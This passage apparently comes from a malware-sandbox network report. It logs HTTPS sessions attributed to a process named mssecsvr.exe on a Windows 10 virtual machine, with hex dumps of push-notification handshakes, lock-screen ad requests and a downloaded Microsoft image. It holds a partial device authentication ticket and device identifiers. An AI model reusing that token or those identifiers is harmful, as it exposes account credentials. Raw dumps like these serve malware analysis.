FDwSbPcFPw9zq4J8wzdLmQiNCa65lpCtvKVGMeK4jrM8Lsa6Tez9vdikUqSAElro4IICrf64821z1rltlePwbmO8dwbHRb2Q0tf8qW1Tc0/sUXksIGPa1Why5y+OLdhuA9n505kXeUgbrbBeklxgwV03+wQueN2gACVu49JmzZmyhO8YawmBf+eZZvnZm4se38T/WrFuHYzufzHofycHqARs9BDkuba0Ec61/f2Yqbc2mt84YmzgoW6xszr2sfpAX0JXP9OKtiyl/RAkyOcS0qA/dlrrC8rQnK8AKDOXDVmCPt33ZZM8ZnhTDe9wC3VRs+kWjW2nUo6CMLqxD4bxFA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 11:24:24 GMT Connection: close
2022-07-20 11:24:24 UTC	993	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2022-07-20 11:24:24 UTC	1008	IN	Data Raw: 32 34 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 38 38 33 30 35 38 30 37 41 32 37 36 38 44 45 32 36 46 37 33 41 45 43 43 36 38 39 32 32 33 34 32 26 47 4c 4f 42 41 4c 44 45 56 49 43 45 49 44 3d 36 38 32 35 37 39 35 30 35 32 37 39 35 32 33 39 26 4c 4f 43 41 4c 49 44 3d 77 3a 45 45 34 38 39 30 43 35 2d 39 30 41 45 2d 35 39 45 32 2d 35 41 43 35 2d 43 32 30 41 41 36 36 35 34 35 39 32 26 44 53 5f 45 56 54 49 44 3d 35 63 66 33 66 32 36 65 32 33 30 63 34 33 31 32 39 64 32 34 63 38 36 35 33 31 32 63 66 38 36 33 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 53 26 55 4e 49 44 3d 33 33 38 33 38 37 26 4d 41 50 5f 54 49 44 3d 45 33 37 33 44 46 42 41 2d 39 31 35 46 2d 34 43 34 43 2d 39 33 45 41 2d 45 36 39 34 Data Ascii: 24&MA_Score=2&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=5cf3f26e230c43129d24c865312cf863&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=338387&MAP_TID=E373DFBA-915F-4C4C-93EA-E694

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.7	50479	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:30 UTC	1017	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 31 38 61 66 63 33 39 66 30 30 65 38 30 36 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 218afc39f00e8062
2022-07-20 11:24:30 UTC	1017	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:24:30 UTC	1018	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 31 38 61 66 63 33 39 66 30 30 65 38 30 36 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: 218afc39f00e8062<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:24:30 UTC	1019	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 31 38 61 66 63 33 39 66 30 30 65 38 30 36 32 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 218afc39f00e8062
2022-07-20 11:24:30 UTC	1019	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:24:30 UTC	1019	IN	Data Raw: 4d 53 2d 43 56 3a 20 34 49 53 4c 67 55 78 71 41 45 61 37 69 79 38 59 37 4d 35 4c 6e 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 4ISLgUxqAEa7iy8Y7M5LnA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.7	50626	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:37 UTC	1019	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 36 35 32 38 64 38 32 63 32 61 32 36 37 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 376528d82c2a267e
2022-07-20 11:24:37 UTC	1019	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:24:37 UTC	1019	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 36 35 32 38 64 38 32 63 32 61 32 36 37 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: 376528d82c2a267e<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:24:37 UTC	1020	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 36 35 32 38 64 38 32 63 32 61 32 36 37 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 376528d82c2a267e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 11:24:37 UTC	1020	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:24:37 UTC	1020	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 30 37 48 74 36 49 6a 51 55 79 47 56 63 71 55 4a 41 6f 30 37 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: g07Ht6IjQUyGVcqUJAo07Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.7	50602	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:37 UTC	1020	OUT	GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 11:24:37 UTC	1022	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Pjc1?ver=a739 Last-Modified: Tue, 05 Jul 2022 21:45:59 GMT X-Source-Length: 1871414 X-Datacenter: northeu X-ActivityId: 2db28c9b-6909-4813-a9ac-c316ff1267c0 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1871414 Cache-Control: public, max-age=339876 Expires: Sun, 24 Jul 2022 09:49:13 GMT Date: Wed, 20 Jul 2022 11:24:37 GMT Connection: close
2022-07-20 11:24:37 UTC	1022	IN	Data Raw: ff d8 ff e1 26 b1 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 31 39 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: &ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:19:328"
2022-07-20 11:24:37 UTC	1086	IN	Data Raw: d6 84 e1 8e 31 94 61 2f 51 31 19 4f 0f 17 a6 27 d3 08 ff 00 ab f7 3f 7f ff 00 62 21 7d 05 b6 dc df 52 c6 bd ad f5 6a 0d ac d8 1c 77 b5 ad 03 7d 97 1a c9 db bf dc da fd fe af b3 d4 51 ea 38 86 cb 31 ae 73 80 63 1f bd f6 b0 b5 92 1c cb 2a bf 6f b7 63 5b 6d 6e ad f6 32 df d0 df e9 7f 34 a3 86 3a 7e f6 5e 1e ec 47 d6 4f a9 48 b1 ce ad e3 46 fe 9a b6 fe 91 ce c5 df fa 37 fa 74 fd 3a aa b9 4e de a5 8d f6 2b 6b c9 b2 b7 16 87 7d a2 ab 1e e6 03 5d 83 75 2f 30 db 3e 9d 6d 66 cf 47 7f fc 17 a9 75 6a 21 09 71 09 44 13 44 44 c6 bf 7f 8a 12 f5 f1 7f 57 f4 59 00 b1 7a 0f ab 99 77 57 e9 f4 7e 83 1e fa ad 7b ec 0c 8c 52 e2 d7 96 fe 92 b6 c3 b6 37 1f 7b 9b ee f4 2f b3 fc 27 ee 7a 96 65 66 55 46 6e 3d 16 74 f6 39 bb 3d 41 7f b1 94 d6 d2 5c df 51 cd fe 75 b6 55 b3 77 a4 cf Data Ascii: 1a/Q1O'?b!}Rjw}Q81sc*oc[mn24:~^GOHF7t:N+k}]u/0>mfGuj!qDDDWYzwW~{R7{/'zefUFn=t9=A\QuUw
2022-07-20 11:24:37 UTC	1118	IN	Data Raw: 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 31 54 31 32 3a 35 34 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f Data Ascii: 07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-07-11T12:54:26-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_
2022-07-20 11:24:37 UTC	1176	IN	Data Raw: 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 30 39 30 34 31 35 5f 48 61 6c 6c 73 74 61 74 74 41 75 73 74 72 69 61 5f 35 30 30 70 78 2d 36 39 33 38 38 36 35 35 5f 47 72 61 64 69 65 6e 74 2d 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 31 35 3a 31 37 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 Data Ascii: s\v-lizagh\MS\Windows10\PrettyPics\090415_HallstattAustria_500px-69388655_Gradient-1920x1080.jpg saved 2016-07-12T15:17:03-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F
2022-07-20 11:24:37 UTC	1289	IN	Data Raw: 3b 32 30 31 36 2d 30 38 2d 31 39 54 31 30 3a 35 34 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 39 54 31 32 3a 31 37 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 Data Ascii: ;2016-08-19T10:54:06-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-08-19T12:17:39-07:00 File C:\Users\v-lizagh\MS\Windows
2022-07-20 11:24:37 UTC	1329	IN	Data Raw: 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 30 36 54 31 32 3a 35 35 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 6c 65 63 74 69 6f 6e 73 5c 4d 49 54 5f 45 6c 65 63 74 69 6f 6e 73 5f 35 30 30 70 78 2d 39 36 31 32 38 32 39 35 Data Ascii: ppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-10-06T12:55:42-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Elections\MIT_Elections_500px-96128295
2022-07-20 11:24:37 UTC	1384	IN	Data Raw: 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 32 3a 34 34 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 Data Ascii: 0 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-11-16T12:44:48-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE64
2022-07-20 11:24:37 UTC	1440	IN	Data Raw: 30 30 70 78 2d 31 32 31 31 39 30 33 39 35 5f 31 39 32 30 78 31 30 38 30 34 45 38 35 44 32 30 46 43 36 33 35 35 30 45 32 36 33 37 43 41 31 38 34 34 32 44 39 30 41 36 33 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 30 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 50 72 6f 64 75 63 74 69 76 69 74 79 54 69 70 73 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 53 74 61 72 74 4d 65 6e 75 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 37 38 38 31 32 33 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 31 3a 31 35 2d 30 38 3a 30 30 26 23 Data Ascii: 00px-121190395_1920x10804E85D20FC63550E2637CA18442D90A63.psb saved 2017-01-11T11:00:02-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\ProductivityTips\_CHOSEN\Edge-StartMenu_GettyImages-167881236_1920x1080.jpg saved 2017-01-11T11:01:15-08:00&#
2022-07-20 11:24:37 UTC	1472	IN	Data Raw: 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 31 54 31 38 3a 35 32 3a 33 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 6f 6d 65 6e 73 4d 6f 6e 74 Data Ascii: #x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-02-21T18:52:32-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WomensMont
2022-07-20 11:24:37 UTC	1591	IN	Data Raw: 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 53 74 61 72 62 75 63 6b 73 5c 43 48 4f 53 45 4e 5c 4d 53 2d 52 65 77 61 72 64 73 5f 53 74 61 72 62 75 63 6b 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 33 36 35 39 34 35 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 34 38 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 Data Ascii: 20x1080.jpg saved 2017-02-28T11:44-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\Starbucks\CHOSEN\MS-Rewards_Starbucks_GettyImages-613659454_1920x1080.jpg saved 2017-02-28T11:48:56-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\A
